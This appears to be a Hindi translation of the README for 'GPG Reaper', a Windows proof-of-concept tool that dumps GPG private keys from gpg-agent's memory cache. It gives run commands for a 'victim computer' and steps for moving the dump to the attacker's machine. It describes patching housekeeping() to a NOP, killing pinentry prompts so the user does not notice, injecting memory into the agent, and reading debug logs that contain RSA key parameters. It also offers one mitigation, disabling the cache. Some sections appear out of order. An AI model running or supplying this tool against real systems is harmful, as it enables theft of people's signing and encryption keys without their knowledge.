
GPG Reaper - gpg-agent कैश/मेमोरी से GPG निजी कुंजियाँ प्राप्त/चुराएँ/पुनर्स्थापित करें
TL;DR: gpg-agent कैश/मेमोरी से GPG निजी कुंजियाँ प्राप्त/चुरा/पुनर्स्थापित करें
यह POC विंडोज के तहत gpg-agent मेमोरी से GPG निजी कुंजियाँ प्राप्त करने की विधि प्रदर्शित करता है।
सामान्यतः यह केवल 10 मिनट की समय सीमा (--default-cache-ttl मान) के भीतर ही संभव होना चाहिए।
दुर्भाग्यवश housekeeping() फ़ंक्शन (जो कैश सफाई के लिए जिम्मेदार है) केवल तभी निष्पादित होता है जब आप GPG का उपयोग कर रहे हों (वहाँ कोई टाइमर नहीं है)।
इसका मतलब है कि सामान्य GPG उपयोगकर्ता परिदृश्य में जैसे: आप एक फ़ाइल पर हस्ताक्षर करते हैं फिर GUI बंद करते हैं और अन्य कार्य करते हैं आपका पासवर्ड अभी भी gpg-agent मेमोरी में है (भले ही ttl समाप्त हो गया हो)।
हमलावर, जिसके पास आपके वर्तमान सत्र तक पहुँच है, आपके पासफ़्रेज़ को जाने बिना निजी कुंजी चुराने के लिए इसका उपयोग कर सकता है।
सूचना: GPG संस्करण 2.2.6 में कैशिंग तंत्र बदल देगा। कमिट और मुद्दा देखें।

pip install PGPy
यदि आपको यह मिले:
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` जब python स्क्रिप्ट चलाते हैं तो:
तो:
pip install six==1.10.0
1. Gpg4Win 3.0.3 स्थापित करें
2. कमांड लाइन खोलें और एजेंट को 2 सेकंड कैश समय के साथ प्रारंभ करें:
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
3. Kleopatra चलाएँ और एक नई कुंजी जोड़ी उत्पन्न करें

4. कुछ उदाहरण परीक्षण फ़ाइल पर हस्ताक्षर करें

5. Pinetry पॉपअप होगा और पासफ़्रेज़ माँगेगा

6. चरण 4-5 दोहराएँ। हर बार pinetry दिखाई देता है क्योंकि हमारा 2 सेकंड का कैश समाप्त हो गया है
7. GPG reaper चलाएँ
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
आप कुछ इस तरह देखेंगे:
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes
जैसा कि आप देख सकते हैं हम कुंजी डंप करते हैं। यह संभव है क्योंकि हमने housekeeping फ़ंक्शन को NOP कर दिया।
8. निजी कुंजी पुनर्स्थापित करें:
python gpg_reaper.py .\testme.txt
निजी कुंजी फ़ाइल में डंप हो जाती है:
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-एजेंट एक डेमॉन है जो किसी भी प्रोटोकॉल से स्वतंत्र रूप से निजी कुंजियों का प्रबंधन करता है।
GUI इंटरफ़ेस Assuan प्रोटोकॉल का उपयोग करके एजेंट के साथ संचार करता है।
डिफ़ॉल्ट रूप से एजेंट आपकी साख को कैश करता है।
--default-cache-ttl n विकल्प कैश प्रविष्टि की वैधता के समय को n सेकंड पर सेट करता है।
डिफ़ॉल्ट 600 सेकंड है। हर बार जब कैश प्रविष्टि एक्सेस की जाती है, उसका टाइमर रीसेट हो जाता है।
विंडोज के तहत हस्ताक्षर प्रक्रिया इस तरह दिखती है:

यहाँ महत्वपूर्ण भाग housekeeping() फ़ंक्शन है जो मेमोरी से समाप्त साख को हटाने के लिए जिम्मेदार है।
लेकिन यहाँ एक समस्या है: यह फ़ंक्शन केवल दो स्थानों पर निष्पादित होता है (agent_put_cache और agent_get_cache के अंदर)।
इसका मतलब है कि कैश की गई साख मेमोरी से नहीं हटाई जाती है जब तक कि कुछ gpg-agent कमांड न चलाए जाएँ जो agent_put_cache या agent_get_cache या agent_flush_cache का उपयोग करते हैं।
पीड़ित कंप्यूटर पर:
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
out.txt को अपनी मशीन पर स्थानांतरित करें और निजी कुंजियाँ पुनर्स्थापित करें:
gpg_reaper.py out.txt
निजी कुंजियाँ अलग-अलग फ़ाइलों में डंप की जाएँगी।
यदि GPG डिफ़ॉल्ट निर्देशिकाओं के बाहर स्थापित है:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
यदि आप डीबग संदेश नहीं चाहते हैं:
Gpg-Reaper -Verbose $false
मान लें कि आप पैनेट्रेशन टेस्टिंग कर रहे हैं और आपको GPG स्थापित वाले कंप्यूटर पर शेल प्राप्त होता है।
यदि आप भाग्यशाली हैं और उपयोगकर्ता ने हाल ही में GPG का उपयोग किया है और कैश समाप्त नहीं हुआ है, तो आप:
1. किसी फ़ाइल पर हस्ताक्षर करें:
c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe चलाएँ
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
2. निजी कुंजी निर्यात करें:
c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe चलाएँ
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
दुर्भाग्यवश यह अपेक्षित रूप से काम नहीं करता है और पासवर्ड माँगता है।
क्यों? क्योंकि cmd_export_key() फ़ंक्शन CACHE_MODE_IGNORE फ्लैग के साथ agent_key_from_file() को निष्पादित करता है जिसका अर्थ है कि कैश का उपयोग नहीं किया जाएगा और उपयोगकर्ता से हर बार पासफ़्रेज़ माँगा जाता है।
हम जानते हैं कि gpg-agent के माध्यम से GPG कुंजी निर्यात करना पासवर्ड जाने बिना संभव नहीं है।
लेकिन यहाँ एक छोटी सी विचित्रता है। एजेंट के पास कुछ विकल्प उपलब्ध हैं:
1. --debug-level
समस्याओं की जाँच के लिए डीबग स्तर चुनें। स्तर एक संख्यात्मक मान या कीवर्ड हो सकता है:
guru - सभी डीबग संदेश जो आप प्राप्त कर सकते हैं।
2. --log-file फ़ाइल
सभी लॉगिंग आउटपुट को फ़ाइल में जोड़ें। यह देखने में बहुत सहायक है कि एजेंट वास्तव में क्या करता है।
आइए एजेंट को gpg-agent.exe --daemon --debug-level guru --log-file out.txt का उपयोग करके चलाएँ और कुछ फ़ाइल पर हस्ताक्षर करें।
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<[email protected]>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG: (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG: (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG: (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))
ऐसा लगता है कि guru मोड लॉग फ़ाइल में n, e, d, p, q और u संख्याएँ प्रिंट करता है। यह जानकर हम गणना कर सकते हैं और सार्वजनिक और निजी कुंजी प्राप्त कर सकते हैं।
आंतरिक रूप से, skey मान gcry_log_debugsxp() द्वारा प्रिंट किया जाता है जब DBG_CRYPTO सेट होता है:
if (DBG_CRYPTO)
{
gcry_log_debugsxp ("skey", s_skey);
gcry_log_debugsxp ("hash", s_hash);
}
यदि आप इस हमले से बचाव चाहते हैं तो आपको कैश अक्षम करना होगा।
%APPDATA%\gnupg\gpg-agent.conf बनाएँ/संशोधित करें:
default-cache-ttl 0
max-cache-ttl 0
जाँचें कि क्या gpg-connect-agent.exe, gpg-agent.exe और gpg.exe पथ सही हैं
जाँचें कि क्या gpg-agent.exe का sha256 समर्थित है
जाँचें कि क्या gpg-agent.exe प्रक्रिया चल रही है और OpenProcess का उपयोग करके इसे खोलें
Start-Job जो सभी pinentry प्रक्रिया उदाहरणों को मारता है। ताकि जब हम उस कुंजी के लिए पूछें जो कैश में नहीं है, तो हम उपयोगकर्ता के हस्तक्षेप के बिना जारी रख सकें
housekeeping() और agent_pksign_do() से मूल बाइट्स पढ़ें ताकि हम स्क्रिप्ट निष्पादन नीति के बाद उन्हें पुनर्स्थापित कर सकें
housekeeping() फ़ंक्शन को NOP करें ताकि वह मेमोरी से समाप्त कैश न हटाए


gpg-connect-agent.exe का उपयोग करके निम्नलिखित कमांड चलाएँ:SIGKEY %key_grip%
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
जाँचें कि क्या लॉग फ़ाइल में n, e, d, p, q और u संख्याएँ हैं। यदि हाँ, तो उन्हें उपयोगकर्ता को लौटाएँ।
बिंदु 7 से प्रत्येक कुंजी के लिए बिंदु 8-11 दोहराएँ
अब PGPy लाइब्रेरी का उपयोग करके हम निजी कुंजी पुनर्स्थापित कर सकते हैं। देखें: gpg_reaper.py
Gpg-agent ASLR के बिना संकलित है इसलिए मैं PowerShell स्क्रिप्ट के अंदर कुछ हार्डकोडेड ऑफसेट का उपयोग करता हूँ।
इस वजह से केवल निर्दिष्ट संस्करण समर्थित हैं:
| संस्करण | gpg-agent.exe sha256 |
|---|---|
| 3.0.3 | D1B331229966F1DCD00988BDE45E6496D447ECBF90AE35046859A67D5B55665A |
| 3.0.2 | 3FDF8E4509DEEA66646F98C4A23AA7C4E0C124997BD2C66E706E4A969DDA18A8 |
क्योंकि यह फ़ाइल अधिकांश आधुनिक विंडोज सिस्टम पर बिना किसी बाहरी निर्भरता के चलाई जा सकती है।
gpg-connect-agent.exe, gpg-agent.exe या gpg.exe डिफ़ॉल्ट स्थान पर मौजूद नहीं है।
आप कस्टम स्थान निर्दिष्ट करने का प्रयास कर सकते हैं:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
इस सिस्टम पर gpg-agent.exe नहीं चल रहा है इसलिए हम निजी कुंजी पुनर्स्थापित नहीं कर सकते।
वर्तमान में यह स्क्रिप्ट केवल विशिष्ट संस्करणों का समर्थन करती है
मेमोरी में कोई कैश की गई कुंजी नहीं है इसलिए हम निजी कुंजी पुनर्स्थापित नहीं कर सकते।
Scythe आइकन Freepik द्वारा www.flaticon.com से बनाया गया।
Solstice Of Suffering फ़ॉन्ट GraveTech द्वारा।
gpg.exe --list-secret-keys --with-keygrip का उपयोग करके सभी उपलब्ध निजी कुंजियों की सूची प्राप्त करें
gpg.exe --armor --export %key_fingerprint% का उपयोग करके सार्वजनिक कुंजी प्राप्त करें
VirtualAllocEx का उपयोग करके gpg-agent.exe के अंदर मेमोरी आवंटित करें। वहाँ अपनी लॉग फ़ाइल का पथ संग्रहीत करें और log_set_file() को कॉल करें।
बिंदु 9 से आवंटित मेमोरी के कॉल के साथ agent_pksign_do() के अंदर if (DBG_CRYPTO) को बदलें।
| 3.0.1 | BE46382E6BCBF5B358B9D01C5435C326325DB5968955B7A6EC0055607DA51CEE |
| 3.0.0 | C9F4248E1D2B1B88C5037608BB56217703573A243B793C3D9FE76F1A652324FC |